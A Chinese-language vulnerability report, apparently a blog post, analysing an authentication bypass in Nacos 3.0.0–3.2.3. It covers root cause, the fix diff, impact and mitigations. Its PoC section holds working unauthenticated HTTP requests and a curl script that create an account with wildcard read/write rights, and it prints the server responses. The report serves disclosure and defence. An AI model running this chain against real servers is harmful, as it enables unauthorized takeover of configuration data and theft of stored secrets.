Nacos 最新权限绕过漏洞——分析与复现报告
原创 枇杷哥 2026-08-28 12:51 北京

漏洞名称:Nacos 鉴权作用域错配导致的权限绕过(未授权自建高权限账户) 微步编号:XVE-2026-53002 漏洞类型:权限绕过 / 未授权访问(Authentication/Authorization Bypass) 影响版本:
3.0.0 <= version <= 3.2.3修复版本:3.2.4 及以上危害等级:高危(攻击门槛极低:无需凭证、默认配置即可利用、可自动化批量扫描) 利用条件:远程可达服务端 HTTP 端口(默认8848,上下文路径/nacos)
0. 结论摘要(TL;DR)
Nacos 3.x 将接口按 @Secured 注解中的 apiType 分为 OPEN_API / ADMIN_API / CONSOLE_API 三个鉴权作用域,分别由不同 Filter、不同开关控制:
作用域 | Filter | 开关(默认值) |
|---|---|---|
OPEN_API | AuthFilter | nacos.core.auth.enabled(false) |
ADMIN_API | AuthAdminFilter | nacos.core.auth.admin.enabled(true) |
CONSOLE_API | NacosConsoleAuthFilter | nacos.core.auth.console.enabled(true) |
v3 版本的用户/角色/权限管理控制器(UserControllerV3 / RoleControllerV3 / PermissionControllerV3)在 @Secured 注解上遗漏了 apiType = ApiType.ADMIN_API,因此这些本应属于“管理员接口”的端点被错误归入 OPEN_API 作用域。OPEN_API 作用域的开关 nacos.core.auth.enabled 默认关闭,导致攻击者在未授权状态下即可调用:
POST /nacos/v3/auth/user—— 创建用户
POST /nacos/v3/auth/role—— 创建角色并绑定用户
POST /nacos/v3/auth/permission—— 给角色授权(含通配
*)
攻击者由此可自建账号并授予通配读写权限,进而接管服务端配置与服务数据。
3.2.4 的修复正是给这些 @Secured 注解补齐 apiType = ApiType.ADMIN_API,使其由默认开启的 ADMIN_API 作用域强制鉴权。
1. 漏洞根因分析(鉴权作用域错配)
1.1 @Secured 注解中 apiType 的默认值
文件:auth/src/main/java/com/alibaba/nacos/auth/annotation/Secured.java
public @interface Secured {
ActionTypes action() default ActionTypes.READ;
String resource() default StringUtils.EMPTY;
String signType() default SignType.NAMING;
Class<? extends ResourceParser> parser() default DefaultResourceParser.class;
String[] tags() default {};
// 关键:默认落在 OPEN_API,而非 ADMIN_API
ApiType apiType() default ApiType.OPEN_API;
}ApiType 枚举(api/src/main/java/com/alibaba/nacos/api/common/ApiType.java)定义了四个作用域:
ADMIN_API, CONSOLE_API, OPEN_API, INNER_API1.2 三作用域 Filter 路由(错配发生点)
文件:core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java
@Override
protected boolean isMatchFilter(Secured secured) {
// ADMIN API 交由 AuthAdminFilter 处理,其余(含默认 OPEN_API)都落到本 Filter
return !ApiType.ADMIN_API.equals(secured.apiType());
}文件:core/src/main/java/com/alibaba/nacos/core/auth/AuthAdminFilter.java
@Override
protected boolean isMatchFilter(Secured secured) {
return ApiType.ADMIN_API.equals(secured.apiType());
}1.3 开关取值(默认即漏洞)
文件:core/src/main/java/com/alibaba/nacos/core/auth/NacosServerAuthConfig.java(OPEN_API)
authEnabled = EnvUtil.getProperty(
Constants.Auth.NACOS_CORE_AUTH_ENABLED, Boolean.class, false); // 默认 false文件:core/src/main/java/com/alibaba/nacos/core/auth/NacosServerAdminAuthConfig.java(ADMIN_API)
authEnabled = EnvUtil.getProperty(
Constants.Auth.NACOS_CORE_AUTH_ADMIN_ENABLED, Boolean.class, true); // 默认 truedistribution/conf/application.properties 中的默认配置(3.2.3 与 3.2.4 一致):
nacos.core.auth.enabled=false # 数据面 OPEN_API 鉴权默认关闭
nacos.core.auth.admin.enabled=true # 管理面 ADMIN_API 鉴权默认开启
nacos.core.auth.console.enabled=true # 控制台 CONSOLE_API 鉴权默认开启1.4 过滤器放行逻辑
文件:core/src/main/java/com/alibaba/nacos/core/auth/AbstractWebAuthFilter.java
Secured secured = method.getAnnotation(Secured.class);
RequestContext requestContext = RequestContextHolder.getContext();
requestContext.getAuthContext().setApiType(secured.apiType().name());
if (!isMatchFilter(secured)) { chain.doFilter(...); return; } // 作用域不匹配则跳过
if (!isAuthEnabled()) { // 作用域开关关闭 → 直接放行,不做身份/权限校验
chain.doFilter(request, response);
return;
}
// ... 后续才是 server identity / validateIdentity / validateAuthority结论链:v3 用户/角色/权限接口在 3.2.3 中 apiType 默认为 OPEN_API → 命中 AuthFilter → isAuthEnabled() 取 nacos.core.auth.enabled=false → 未鉴权直接放行。
2. 漏洞位置与 sink 点
2.1 漏洞触发入口(控制器)
目录:plugin-default-impl/nacos-default-auth-plugin/src/main/java/com/alibaba/nacos/plugin/auth/impl/controller/v3/
控制器 | 类级 URL | 触发方法(sink) |
|---|---|---|
UserControllerV3 | /v3/auth/user | createUser( |
RoleControllerV3 | /v3/auth/role | createRole( |
PermissionControllerV3 | /v3/auth/permission | createPermission( |
修复前后的 diff 示例(UserControllerV3.java):
diff
- @Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
- action = ActionTypes.WRITE)
+ @Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + "users",
+ action = ActionTypes.WRITE, apiType = ApiType.ADMIN_API)
@Since("3.0.0")
@PostMapping
public Result<String> createUser(@RequestParam String username, @RequestParam String password)同样补齐 apiType = ApiType.ADMIN_API 的还有:
UserControllerV3:
deleteUser/updateUser/getUserList/getUserListByUsernameRoleControllerV3:
createRole/deleteRole/getRoleList/getRoleListByRoleNamePermissionControllerV3:
createPermission/deletePermission/getPermissionList/isDuplicatePermission
2.2 Sink 点(危险操作落点)
// UserControllerV3.createUser
userDetailsService.createUser(username, password); // 落库建用户
// RoleControllerV3.createRole
roleService.addRole(role, username); // 绑定角色
// PermissionControllerV3.createPermission
nacosRoleService.addPermission(role, resource, action); // 授予权限2.3 提权机理(通配权限 → 等效全局管理员)
ROLE_ADMIN 不能通过 createRole 直接创建(NacosRoleServiceDirectImpl.addRole 显式拒绝),但可以利用通配权限达到等效全局读写:
文件:plugin-default-impl/nacos-default-auth-plugin/.../roles/AbstractCheckedRoleService.java
@Override
public boolean hasPermission(NacosUser nacosUser, Permission permission) {
// 1) 全局管理员直通
for (RoleInfo roleInfo : roleInfoList) {
if (AuthConstants.GLOBAL_ADMIN_ROLE.equals(roleInfo.getRole())) {
nacosUser.setGlobalAdmin(true);
return true;
}
}
// 2) console/ 资源仅限全局管理员
if (permission.getResource().getName().startsWith(AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX)) {
return false;
}
// 3) 角色通配权限模式匹配
for (PermissionInfo permissionInfo : permissionInfoList) {
String permissionResource = permissionInfo.getResource().replaceAll("\\*", ".*");
String permissionAction = permissionInfo.getAction();
if (permissionAction.contains(permission.getAction()) // "rw".contains("r"/"w")
&& Pattern.matches(permissionResource, joinResource(permission.getResource()))) {
return true;
}
}
return false;
}据此:resource=* 会被替换为 .*(正则全匹配),action=rw 同时包含 r/w(ActionTypes.READ/WRITE 的 toString() 为 "r"/"w")→ 任意命名空间、分组、资源均可读写。
3. 漏洞利用 PoC
3.1 触发前提
目标:Nacos
3.0.0~3.2.3,默认配置(nacos.core.auth.enabled=false)端口:
8848,上下文路径/nacos无需任何凭证
3.2 利用链(三步未授权 + 登录)
Step 1:未授权创建用户
POST /nacos/v3/auth/user?username=poc_x&password=Poc%4012345 HTTP/1.1
Host: localhost:8848
Accept: */*Step 2:未授权创建角色并绑定到用户
POST /nacos/v3/auth/role?role=poc_x_role&username=poc_x HTTP/1.1
Host: localhost:8848
Accept: */*Step 3:未授权授予通配读写权限
POST /nacos/v3/auth/permission?role=poc_x_role&resource=*&action=rw HTTP/1.1
Host: localhost:8848
Accept: */*Step 4:用新账号登录换取 token
POST /nacos/v3/auth/user/login HTTP/1.1
Host: localhost:8848
Content-Type: application/x-www-form-urlencoded
username=poc_x&password=Poc%40123453.3 curl 一键版
H="http://TARGET:8848"
U="poc_$(date +%s)"; P='Poc@12345'; R="${U}_role"
curl -s -X POST -G "$H/nacos/v3/auth/user" \
--data-urlencode "username=$U" --data-urlencode "password=$P"
curl -s -X POST -G "$H/nacos/v3/auth/role" \
--data-urlencode "role=$R" --data-urlencode "username=$U"
curl -s -X POST -G "$H/nacos/v3/auth/permission" \
--data-urlencode "role=$R" --data-urlencode "resource=*" --data-urlencode "action=rw"
TOKEN=$(curl -s -X POST "$H/nacos/v3/auth/user/login" \
--data-urlencode "username=$U" --data-urlencode "password=$P" \
| sed -n 's/.*"accessToken":"\([^"]*\)".*/\1/p')
# 通配权限生效验证:携带 token 读取命名服务列表
curl -s "$H/nacos/v3/admin/ns/service/list?pageNo=1&pageSize=10&namespaceId=public&groupName=DEFAULT_GROUP" \
-H "Authorization: Bearer $TOKEN"4. 复现验证结果(实测)
4.1 3.2.3(易受攻击)——原始响应
复制
POST /nacos/v3/auth/user → 200 {"code":0,"message":"success","data":"create user ok!"}
POST /nacos/v3/auth/role → 200 {"code":0,"message":"success","data":"add role ok!"}
POST /nacos/v3/auth/permission → 200 {"code":0,"message":"success","data":"add permission ok!"}
POST /nacos/v3/auth/user/login → 200 {"accessToken":"...","globalAdmin":false,"username":"poc_..."}提权验证(携带 token 访问命名服务管理 API):
复制
GET /nacos/v3/admin/ns/service/list 带 token → 200 {"code":0,...,"pageItems":[]}
GET /nacos/v3/admin/ns/service/list 不带 token → 403 access denied未授权建号➕
resource=*&action=rw通配权限打通报读写,等效接管数据面。
4.2 3.2.4(已修复)——对照
复制
POST /nacos/v3/auth/user → 403 {"code":10001,"message":"access denied","data":"Code: 401, Message: User not found!..."}
POST /nacos/v3/auth/role → 403 access denied
POST /nacos/v3/auth/permission → 403 access denied4.3 结论
版本 | 未授权 createUser/role/permission | 判定 |
|---|---|---|
3.2.3(及更早 3.x) | 200 全部成功 | 存在漏洞 |
3.2.4(及以后) | 403 access denied | 已修复 |
5. 影响评估
- 信息泄露
:配置中心常承载数据库口令、密钥、AK/SK 等敏感配置,通配读权限可批量拉取全量配置。
- 配置篡改 / 服务劫持
:通配写权限可注册伪造服务实例、下发恶意配置(如恶意 JNDI/连接串、篡改路由/灰度配置)。
- 持久化与横向
:未授权为自建账号授予长期权限,形成稳定后门;配合内网可达的其它服务可横向扩展。
- 自动化批量利用
:端口
8848+ 固定路径 + 无凭证,适合大规模扫描(与微步情报“可自动化批量扫描”一致)。
6. 修复与缓解
6.1 官方修复
升级到
Nacos 3.2.4及以上(补齐apiType = ApiType.ADMIN_API)。修复提交对应文件:
controller/v3/{UserControllerV3, RoleControllerV3, PermissionControllerV3}.java。
6.2 临时缓解(无法立即升级时)
- 网络收敛
(立即做,零业务影响):将
8848/9848/9849及控制台端口通过安全组/防火墙限制到可信网段,撤回任何公网暴露。 - 开启数据面鉴权兜底
:
nacos.core.auth.enabled=true
nacos.core.auth.plugin.nacos.token.secret.key=<≥32字符的Base64,集群各节点一致>变更后重启生效;代价是所有 SDK 客户端必须改为携带用户名密码,灰度时需先确认业务方。
6.3 附带观察
若实例处于首启状态(
auth_admin_request=true,即尚无全局管理员),控制台http://<host>:8080会引导完成首个管理员初始化;请及早完成,并将首启建号引导面(POST /v3/auth/user/admin)与本次作用域错配区分对待。
7. 附录:3.2.3 → 3.2.4 关键 diff 摘要
文件 | 变更 |
|---|---|
.../controller/v3/UserControllerV3.java | 5 处 |
.../controller/v3/RoleControllerV3.java | 4 处 |
.../controller/v3/PermissionControllerV3.java | 4 处 |
auth/.../annotation/Secured.java | 仅注释修订( |
auth/.../HttpProtocolAuthService.java | parser 选择优先级调整( |
core/.../auth/AbstractWebAuthFilter.java | 身份上下文构建顺序调整(非本漏洞必需项) |
8. 参考
微步情报:XVE-2026-53002(
https://x.threatbook.com/v5/vul/XVE-2026-53002)受影响版本:
3.0.0 <= version <= 3.2.3